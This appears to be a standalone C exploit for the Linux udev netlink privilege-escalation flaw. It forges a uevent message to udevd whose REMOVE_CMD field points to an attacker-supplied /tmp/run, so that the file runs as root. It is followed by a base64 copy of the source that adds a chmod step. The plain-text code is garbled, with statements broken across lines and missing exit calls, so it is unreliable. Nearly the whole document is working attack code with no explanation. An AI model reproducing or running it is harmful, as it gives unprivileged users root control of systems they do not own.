#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
int
main(int argc, char **argv)
{
int sock;
char *mp, *err;
char message[4096];
struct stat st;
struct msghdr msg;
struct iovec iovector;
struct sockaddr_nl address;
if (argc < 2) {
err = "Pass the udevd netlink PID as an argument";
printf("[-] Error: %s\n", err
); }
if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
(stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
err = "Required 95-udev-late.rules not found";
printf("[-] Error: %s\n", err
); }
if (stat("/tmp/run", &st) == -1) {
err = "/tmp/run does not exist, please create it";
printf("[-] Error: %s\n", err
); }
memset(&address
, 0, sizeof(address
)); address.nl_family = AF_NETLINK;
address.
nl_pid = atoi(argv
[1]); address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));
mp = message;
mp
+= sprintf(mp
, "remove@/d") + 1; mp
+= sprintf(mp
, "SUBSYSTEM=block") + 1; mp
+= sprintf(mp
, "DEVPATH=/dev/foo") + 1; mp
+= sprintf(mp
, "TIMEOUT=10") + 1; mp
+= sprintf(mp
, "ACTION=remove") +1; mp
+= sprintf(mp
, "REMOVE_CMD=/tmp/run") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
return 0;
}
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5cy9zdGF0Lmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxsaW51eC90eXBlcy5oPgojaW5jbHVkZSA8bGludXgvbmV0bGluay5oPgoKI2lmbmRlZiBORVRMSU5LX0tPQkpFQ1RfVUVWRU5UCiNkZWZpbmUgTkVUTElOS19LT0JKRUNUX1VFVkVOVCAxNQojZW5kaWYKCmludAptYWluKGludCBhcmdjLCBjaGFyICoqYXJndikKewoJaW50IHNvY2s7CgljaGFyICptcCwgKmVycjsKCWNoYXIgbWVzc2FnZVs0MDk2XTsKCXN0cnVjdCBzdGF0IHN0OwoJc3RydWN0IG1zZ2hkciBtc2c7CglzdHJ1Y3QgaW92ZWMgaW92ZWN0b3I7CglzdHJ1Y3Qgc29ja2FkZHJfbmwgYWRkcmVzczsKCglpZiAoYXJnYyA8IDIpIHsKCQllcnIgPSAiUGFzcyB0aGUgdWRldmQgbmV0bGluayBQSUQgYXMgYW4gYXJndW1lbnQiOwoJCXByaW50ZigiWy1dIEVycm9yOiAlc1xuIiwgZXJyKTsKCQlleGl0KDEpOwoJfQoKCWlmICgoc3RhdCgiL2V0Yy91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIiwgJnN0KSA9PSAtMSkgJiYKCSAgICAoc3RhdCgiL2xpYi91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIiwgJnN0KSA9PSAtMSkpIHsKCQllcnIgPSAiUmVxdWlyZWQgOTUtdWRldi1sYXRlLnJ1bGVzIG5vdCBmb3VuZCI7CgkJcHJpbnRmKCJbLV0gRXJyb3I6ICVzXG4iLCBlcnIpOwoJCWV4aXQoMSk7Cgl9CgoJaWYgKHN0YXQoIi90bXAvcnVuIiwgJnN0KSA9PSAtMSkgewoJCWVyciA9ICIvdG1wL3J1biBkb2VzIG5vdCBleGlzdCwgcGxlYXNlIGNyZWF0ZSBpdCI7CgkJcHJpbnRmKCJbLV0gRXJyb3I6ICVzXG4iLCBlcnIpOwoJCWV4aXQoMSk7Cgl9CglzeXN0ZW0oImNobW9kICt4IC90bXAvcnVuIik7CgoJbWVtc2V0KCZhZGRyZXNzLCAwLCBzaXplb2YoYWRkcmVzcykpOwoJYWRkcmVzcy5ubF9mYW1pbHkgPSBBRl9ORVRMSU5LOwoJYWRkcmVzcy5ubF9waWQgPSBhdG9pKGFyZ3ZbMV0pOwoJYWRkcmVzcy5ubF9ncm91cHMgPSAwOwoKCW1zZy5tc2dfbmFtZSA9ICh2b2lkKikmYWRkcmVzczsKCW1zZy5tc2dfbmFtZWxlbiA9IHNpemVvZihhZGRyZXNzKTsKCW1zZy5tc2dfaW92ID0gJmlvdmVjdG9yOwoJbXNnLm1zZ19pb3ZsZW4gPSAxOwoKCXNvY2sgPSBzb2NrZXQoQUZfTkVUTElOSywgU09DS19ER1JBTSwgTkVUTElOS19LT0JKRUNUX1VFVkVOVCk7CgliaW5kKHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikgJmFkZHJlc3MsIHNpemVvZihhZGRyZXNzKSk7CgoJbXAgPSBtZXNzYWdlOwoJbXAgKz0gc3ByaW50ZihtcCwgInJlbW92ZUAvZCIpICsgMTsKCW1wICs9IHNwcmludGYobXAsICJTVUJTWVNURU09YmxvY2siKSArIDE7CgltcCArPSBzcHJpbnRmKG1wLCAiREVWUEFUSD0vZGV2L2ZvbyIpICsgMTsKCW1wICs9IHNwcmludGYobXAsICJUSU1FT1VUPTEwIikgKyAxOwoJbXAgKz0gc3ByaW50ZihtcCwgIkFDVElPTj1yZW1vdmUiKSArMTsKCW1wICs9IHNwcmludGYobXAsICJSRU1PVkVfQ01EPS90bXAvcnVuIikgKzE7CgoJaW92ZWN0b3IuaW92X2Jhc2UgPSAodm9pZCopbWVzc2FnZTsKCWlvdmVjdG9yLmlvdl9sZW4gPSAoaW50KShtcC1tZXNzYWdlKTsKCglzZW5kbXNnKHNvY2ssICZtc2csIDApOwoKCWNsb3NlKHNvY2spOwoKCXJldHVybiAwOwp9